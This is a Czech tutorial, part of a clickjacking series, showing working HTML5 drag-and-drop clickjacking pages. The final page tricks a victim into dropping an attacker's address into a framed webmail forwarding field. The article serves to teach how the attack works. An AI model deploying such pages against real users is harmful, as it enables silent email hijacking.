Zpět na seznam článků     Číst komentáře (3)     Verze pro tisk

Clickjacking (5)

Autor: .cCuMiNn.   
1.10.2012

V minulém díle jsme si ukázali způsob, kterým lze přinutit uživatele k vyplnění polí formulářů, aniž by měli tušení, čeho se tím ve skutečnosti dopouští. Tentokrát pro dosažení stejného výsledku použijeme metody Drag&Drop z nabídky HTML5.


Útok z minulého dílu vyžadoval od uživatelů, aby zapsali námi podstrčený text do vstupního pole formuláře. Jedná se sice o velice účinnou metodu, ale můžeme ji využít pouze pokud požadujeme vložení krátkých textů. Tyto texty navíc nesmí u uživatele vzbudit žádné podezření. Ideální by tedy bylo, pokud bychom nějakým způsobem dokázali přimět uživatele k vložení jakýchkoliv dat tak, aby vůbec neviděl jejich obsah. To se může na první pohled zdát jako nereálné, ale HTML5 a jeho Drag and Drop možnosti, nám přesně tohoto cíle pomohou dosáhnout.

Pro lepší pochopení začnu jednoduchým příkladem, který budu postupně rozvíjet.

  1. <html>
  2. <head>
  3.  
  4.   <style>
  5.     #obal {position:absolute; top:40%; left:40%;}
  6.     #klic {position:absolute; left:42%; top:30%; height:30px; width:60px;}
  7.   </style>
  8.  
  9.   <script type="text/javascript">
  10.     function sebrani_klice(e) {
  11.       e.dataTransfer.setData('text/plain','attacker@attacker.cz');
  12.     }
  13.   </script>
  14.  
  15. </head>
  16. <body>
  17.  
  18.   <div id="obal">
  19.     <textarea></textarea>
  20.   </div>
  21.  
  22.   <img id="klic" src="klic.png" draggable="true" ondragstart="sebrani_klice(event);">
  23.  
  24. </body>
  25. </html>

Výše uvedený kód nedělá nic jiného, než že na stránce zobrazí dva prvky: obrázek klíčku a textareu pro vkládání textu. To důležité, čeho byste si měli v kódu všimnout je:

  • Řádek 22 - Vlastnost draggable u vloženého obrázku, která povoluje tažení objektu a vlastnost onDragStart definující ovladač události, který se vykoná, jakmile začneme obrázkem táhnout.
  • Řádek 11dataTransfer.SetData() – Nastavení přenášených dat. V tomto případě nastavujeme typ dat na prostý text, jehož obsahem je e-mailová adresa attacker@attacker.cz'.

Stránku z uvedeného příkladu najdete zde. Zkuste na této stránce přetáhnout obrázek klíčku nad textové pole, kde klíček položte. Vidíte už to nebezpečí a možnosti využití s clickjackingem? Nebohý uživatel pouhým přetažením objektu může nevědomky vložit nebezpečný payload a naplnit jím například pole formuláře.

Frčíme dál

Pojďme se ale posunout o kousek dál, a náš úvodní příklad trochu vyšperkovat.

  1. <html>
  2. <head>
  3.   <style>
  4.     #obal    {position:absolute; left:40%;  top:40%;}
  5.     #zamek   {position:absolute; left:50px; top:22px; height:40px; width:40px; z-index:0;}
  6.     #area    {position:absolute; left:20px; top:20px; height:40px; width:122px;z-index:10; opacity:0.5;}
  7.     #klic    {position:absolute; left:42%;  top:30%;  height:30px; width:60px; z-index:5;}
  8.     #krytka  {position:absolute; left:42%;  top:30%;  height:30px; width:60px; z-index:1; background:white;}
  9.     #hranice {position:absolute; left:0px;  top:0px;  height:100px;width:200px;z-index:0; background:red;}
  10.   </style>
  11.  
  12.   <script type="text/javascript">
  13.     a=0;
  14.     function pusteni_klice() {
  15.       if (a==0) {
  16.         document.getElementById('krytka').style.zIndex='1';
  17.       } else {
  18.         alert('OK');
  19.       }
  20.     }
  21.     function sebrani_klice(e) {
  22.       document.getElementById('krytka').style.zIndex='10';
  23.       e.dataTransfer.setData('text/plain','attacker@attacker.cz');
  24.     }
  25.     function pretazeni_na_areu(e) {
  26.       document.getElementById('zamek').src='zamek2.jpg';
  27.       e.cancelBubble = true;
  28.       a=1;
  29.     }
  30.     function pretazeni_na_hranici() {
  31.       document.getElementById('zamek').src='zamek1.jpg';
  32.       a=0;
  33.     }
  34.   </script>
  35.  
  36. </head>
  37. <body>
  38.  
  39.   <div id="obal">
  40.     <div id="hranice" ondragenter="pretazeni_na_hranici()">
  41.       <img id="zamek" src="zamek1.jpg">
  42.       <textarea id="area" ondragenter="pretazeni_na_areu(event)"></textarea>
  43.     </div>
  44.   </div>
  45.  
  46.   <img id="klic" src="klic.png" draggable="true" ondragend="pusteni_klice()" ondragstart="sebrani_klice(event);">
  47.   <div id="krytka"></div>
  48. </body>
  49. </html>

Co jsme tedy provedli za změny, a co stojí v kódu za zmínku.

  • Řádek 13 – Definovali jsme proměnnou "a", která bude uchovávat informaci o tom, zda právě táhneme klíčkem nad textareou (a=1), nebo mimo ni (a=0).
  • Řádek 6 – Prvku textarea jsme CSS stylem nastavili částečnou průhlednost.
  • Řádek 41 – Přidali jsme na stránku další obrázek s vysacím zámkem a tento jsme umístili pod poloprůhlednou textareu.
  • Řadek 42 – Prvku textarea jsme nastavili atributem onDragEnter ovladač události, který se vykoná ve chvíli, kdy klíček přetáhneme nad tento prvek. Ve chvíli kdy se tak stane, změníme na řádku X obrázek zamčeného zámku za zámek otevřený a nastavíme proměnnou "a" na hodnotu 1, abychom mohli v případě upuštění klíčku zjistit, kde se s taženým klíčkem právě nacházíme. Vlastnost cancelBubble na rádku 27 je důležitá, abychom zabránili probublávání této události do prvku hranice.
  • Řádek 40 – Pod textareu jsme umístili oblast hranice, která textareu na všech stranách přesahuje. Tato oblast je důležitá, abychom mohli nastavovat proměnnou "a" zpět na hodnotu 0 vždy, když táhneme klíčkem mimo textareu. Současně po přetažení nad tuto oblast měníme obrázek zámku na zamčený.
  • Řádek 47 – Vytvořili jsme objekt krytka, který při táhnutí klíče zakryje původní obrázek klíče. Kód, který je zodpovědný za přesunutí krytky před klíč na začátku tažení, najdete na řádku 22.
  • Řádek 46 – K prvku s obrázkem klíčku jsme přidali atribut odDragEnd, kterým definujeme ovladač události pro puštění objektu.
  • Řádky 14-20 – Kód ovladače události, který se vykoná ve chvíli, kdy klíček upustíme. V takovém případě testujeme proměnnou "a", abychom zjistili, zda jsme upustili klíček mimo textareu (posuneme krytku do pozadí a zobrazíme tím původní obrázek klíčku) nebo nad textareou (zobrazíme okno se zprávou).

Stránku, kterou tvoří výše uvedený kód, si opět můžete vyzkoušet zde.

Finální útok

Konečný útok, při kterém opět přinutíme oběť k tomu, aby si zapsala naši e-mailovou adresu do pole pro přeposílání příchozích zpráv v našem testovacím webmailu, se od výše uvedeného příkladu již příliš lišit nebude. Jediné změny, které provedeme, spočívají v tom, že si vytvoříme soustavu vložených rámů, které z webové stránky webmailu vyříznou pouze přesně definovanou oblast se vstupním polem pro zadání adresy a s tlačítkem pro uložení. Tímto rámem pak nahradíme naší textareu. Dále přidáme nadpis a nahradíme alert po upuštění klíčku zobrazením tlačítka vstup na místě původního tlačítka pro uložení.

Výsledný kód pak bude vypadat takto:

  1. <html>
  2. <head>
  3.   <style>
  4.     #nadpis  {position:absolute; top:5%;  left:25%;}
  5.     #obal    {position:absolute; top:40%; left:40%;}
  6.     #hranice {position:absolute; top:0px; left:0px; height:100px; width:200px; z-index:0;}
  7.     #zamek   {position:absolute; top:22px;left:50px;height:40px;  width:40px;  z-index:0;}
  8.     #ram     {position:absolute; top:20px;left:20px;height:20px;  width:122px; z-index:10; opacity:0; border-width:20px;}
  9.     #klic    {position:absolute; top:30%; left:42%; height:30px;  width:60px;  z-index:5;}
  10.     #krytka  {position:absolute; top:30%; left:42%; height:30px;  width:60px;  z-index:1; background:white;}
  11.     #tlacitko{position:absolute; top:40px;left:114px; z-index:1; visibility:hidden;}
  12.   </style>
  13.  
  14.   <script type="text/javascript">
  15.     a=0;
  16.     function pusteni_klice() {
  17.       if (a==0) {
  18.         document.getElementById('krytka').style.zIndex='1';
  19.       } else {
  20.         document.getElementById("tlacitko").style.visibility="visible";
  21.       }
  22.     }
  23.     function sebrani_klice(e) {
  24.       document.getElementById('krytka').style.zIndex='10';
  25.       e.dataTransfer.setData('text/plain','attacker@attacker.cz');
  26.     }
  27.     function pretazeni_na_ram(e) {
  28.       document.getElementById('zamek').src='zamek2.jpg';
  29.       e.cancelBubble = true;
  30.       a=1;
  31.     }
  32.     function pretazeni_na_hranici() {
  33.       document.getElementById('zamek').src='zamek1.jpg';
  34.       a=0;
  35.     }
  36.   </script>
  37.  
  38. </head>
  39. <body>
  40.   <h1 id="nadpis">Vstup na stránku si musíte nejprve odemknout</h2>
  41.   <div id="obal">
  42.     <div id="hranice" ondragenter="pretazeni_na_hranici()">
  43.       <img id="zamek" src="zamek1.jpg">
  44.       <div id="tlacitko"><input type='button' value='Vstup'></div>
  45.       <iframe id="ram" src="ram.html" ondragenter="pretazeni_na_ram(event)"></iframe>
  46.     </div>
  47.   </div>
  48.   <img id="klic" src="klic.png" draggable="true" ondragend="pusteni_klice()" ondragstart="sebrani_klice(event);">
  49.   <div id="krytka"></div>
  50. </body>
  51. </html>

Jediné, co k výslednému kódu ještě dodám, je, že nemůžeme ošetřovat události onDragOver nebo onDragEnter přímo nad vlastním obsahem rámu. V tom nám opět brání Same Origin Policy. Jejich výskyt tak můžeme ošetřovat pouze ve chvíli, kdy objekt táhneme přes okraj rámu. Protože ale někdy při rychlejším přejetí okraje není tato událost zaznamenána, nastavil jsem vlastností border větší šířku tohoto okraje.

Příklad by se dal dále rozšířit o testování, zda uživatel kliknul nad tlačítkem vstup, ale s principy, jak toho dosáhnout jsme se seznámili již v jednom z předchozích dílů. Tuto část si tedy můžete zkusit dodělat sami.

Nakonec přidávám ještě video zachycující průběh útoku.


Na co se můžete těšit příště

Příště si již konečně povíme něco o tom, jak před clickjackingem ochránit naše vlastní webové aplikace, abychom si v následujícím závěrečném dílu mohli ukázat techniky, kterými lze tyto ochrany obejít :)


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.4/10

1  2  3  4  5    
(známkování jako ve škole)